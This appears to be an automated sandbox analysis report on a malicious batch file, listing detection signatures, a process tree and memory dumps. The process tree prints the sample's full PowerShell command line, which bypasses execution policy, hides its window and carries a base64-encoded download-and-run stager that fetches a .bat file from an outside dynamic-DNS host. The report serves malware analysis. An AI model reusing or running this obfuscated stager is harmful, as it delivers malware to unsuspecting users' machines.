Analysis

  • max time kernel
    139s
  • max time network
    166s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20221111-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
  • submitted
    08/12/2022, 09:21

General

  • Target
    derrffdde.bat
  • Size 645B
  • Sample221208-lbbqaace2z
  • SHA256 e0821c032569fd1820f3399609b27f448db1b9d34043593661ea6000bbcdf0eb
  • MD5 SHA1 SHA512
Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\derrffdde.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:788
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      POWeRsHELl -ex ByPASS -Nop -W 1 -eC IAAJAGkAbgBWAE8ASwBFAC0AVwBlAGIAUgBlAFEAVQBFAFMAVAAgAAkALQBVAFIAaQAgAAkAKAAdIGgAdAB0AHAAOgAdICAACQAgAAkAKwAgAAkAHSAvAC8AagBsAGgAdQBvAGkAbABqAG4AdQB5AGoAYgB5AHIAdABqAHkAZwBoAGkAbABqAG8AaQB1AGgAeQB1AGoAaAAdICAACQAgAAkAKwAgAAkAHSBiAGwAawBqAGwAaABuAGIAeQB1AGcAagB2AHkAdAB5AGoAZwBiAGsAagBoAG4AeQB1AHQAZwB5AGoAaAB5AGIAHSAgAAkAIAAJACsAIAAJAB0gLgB5AGQAbgBzAC4AZQB1AB0gIAAJACAACQArACAACQAdIC8AZgBpAHIAZQAvAHMAYQB2AGUALgBiAGEAdAAdICAACQApACAALQBPAFUAdABGAGkAbABFACAACQAdICQARQBOAFYAOgBUAGUATQBQAFwAbQBzAHAAYQBsAHQALgBiAGEAdAAdICAAOwAgAHMAVABBAFIAVAAgAAkAHSAkAEUATgB2ADoAdABFAE0AcABcAG0AcwBwAGEAbAB0AC4AYgBhAHQAHSA=
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:364

Network

        MITRE ATT&CK Matrix

        Replay Monitor

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        Downloads

        memory/364-133-0x00000276F5430000-0x00000276F5452000-memory.dmp

        memory/364-134-0x00007FFD3A790000-0x00007FFD3B251000-memory.dmp

        memory/364-135-0x00007FFD3A790000-0x00007FFD3B251000-memory.dmp

        memory/364-136-0x00007FFD3A790000-0x00007FFD3B251000-memory.dmp